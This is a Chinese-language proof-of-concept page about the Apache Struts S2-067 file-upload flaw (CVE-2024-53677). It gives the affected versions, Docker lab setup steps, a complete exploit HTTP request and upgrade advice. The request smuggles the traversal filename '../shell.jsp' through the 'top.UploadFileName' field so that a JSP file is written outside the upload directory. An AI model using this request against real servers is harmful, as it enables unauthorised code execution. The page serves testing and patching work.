mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 11:58:05 +00:00
112 lines
4.1 KiB
Markdown
112 lines
4.1 KiB
Markdown
# Apache Struts S2-067 远程代码执行漏洞 CVE-2024-53677
|
||
|
||
## 漏洞描述
|
||
|
||
Apache Struts 是一个开源的、用于构建企业级 Java Web 应用的 MVC 框架。2024 年 12 月，官方披露 CVE-2024-53677 Apache Struts FileUploadInterceptor 文件上传漏洞。在受影响版本中，若代码中使用了 FileUploadInterceptor ，则可能在进行文件上传时攻击者可能上传文件至其他目录，在特定场景下可能造成代码执行。
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
Struts 2.0.0 - Struts 2.3.37
|
||
Struts 2.5.0- Struts 2.5.33
|
||
Struts 6.0.0- Struts 6.3.0.2
|
||
```
|
||
|
||
参考链接：
|
||
|
||
- [Apache Struts2 文件上传逻辑绕过(CVE-2024-53677)(S2-067)](https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/)
|
||
- https://github.com/c4oocO/CVE-2024-53677-Docker
|
||
- https://github.com/Trackflaw/CVE-2023-50164-ApacheStruts2-Docker
|
||
|
||
## 环境搭建
|
||
|
||
通过项目 [CVE-2023-50164-ApacheStruts2-Docker](https://github.com/c4oocO/CVE-2024-53677-Docker) 搭建一个 Struts 6.3.0 漏洞环境：
|
||
|
||
```
|
||
git clone https://github.com/c4oocO/CVE-2024-53677-Docker.git
|
||
cd CVE-2024-53677-Docker
|
||
docker build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53677 .
|
||
docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2024-53677 cve-2024-53677
|
||
```
|
||
|
||
该项目修改自 [CVE-2023-50164-ApacheStruts2-Docker](https://github.com/Trackflaw/CVE-2023-50164-ApacheStruts2-Docker)，将 `struts-app/src/main/java/org/trackflaw/example/Upload.java` 的原始文件上传处理逻辑替换为 `FileUploadInterceptor` 。
|
||
|
||
可更新 maven 源加速构建，在 Dockerfile 同级目录创建一个自定义的 settings.xml：
|
||
|
||
```
|
||
<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
|
||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||
xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0
|
||
http://maven.apache.org/xsd/settings-1.0.0.xsd">
|
||
<mirrors>
|
||
<mirror>
|
||
<id>aliyun-maven</id>
|
||
<mirrorOf>central</mirrorOf>
|
||
<name>Aliyun Maven</name>
|
||
<url>https://maven.aliyun.com/repository/central</url>
|
||
</mirror>
|
||
</mirrors>
|
||
</settings>
|
||
```
|
||
|
||
在 Dockerfile 中新增一行，将自定义的 `settings.xml` 复制到 Maven 的配置目录中，替换默认文件：
|
||
|
||
```
|
||
COPY settings.xml /root/.m2/settings.xml
|
||
```
|
||
|
||
重新执行 `docker build` 与 `docker run` 即可。
|
||
|
||
通过 `curl` 验证服务是否启动：
|
||
|
||
```
|
||
curl http://your-ip:8080/upload.action
|
||
```
|
||
|
||
或访问 `http://your-ip:8080/upload.action` 查看上传页面。
|
||
|
||
## 漏洞复现
|
||
|
||
```
|
||
POST /upload.action HTTP/1.1
|
||
Host: 124.221.47.70:8080
|
||
Content-Length: 320
|
||
Cache-Control: max-age=0
|
||
Origin: http://124.221.47.70:8080
|
||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2NRMscRh7zNdWblD
|
||
Upgrade-Insecure-Requests: 1
|
||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
|
||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||
Referer: http://124.221.47.70:8080/upload.action
|
||
Accept-Encoding: gzip, deflate, br
|
||
Accept-Language: en
|
||
Cookie: JSESSIONID=4563A1B22B51DE02F1FD131C1E88DE5C
|
||
Connection: keep-alive
|
||
|
||
------WebKitFormBoundary2NRMscRh7zNdWblD
|
||
Content-Disposition: form-data; name="Upload"; filename="test.png"
|
||
Content-Type: image/png
|
||
|
||
<%= "awesome_poc" %>
|
||
------WebKitFormBoundary2NRMscRh7zNdWblD
|
||
Content-Disposition: form-data; name="top.UploadFileName";
|
||
|
||
../shell.jsp
|
||
------WebKitFormBoundary2NRMscRh7zNdWblD--
|
||
```
|
||
|
||
|
||
|
||
访问上传文件：
|
||
|
||
```
|
||
http://your-ip:8080/shell.jsp
|
||
```
|
||
|
||
|
||
|
||
## 漏洞修复
|
||
|
||
1. 升级组件 Apache Struts 升级至 6.4.0 及以上版本。
|
||
2. 自行排查代码中是否使用 FileUploadInterceptor，若无使用则不受该漏洞影响。
|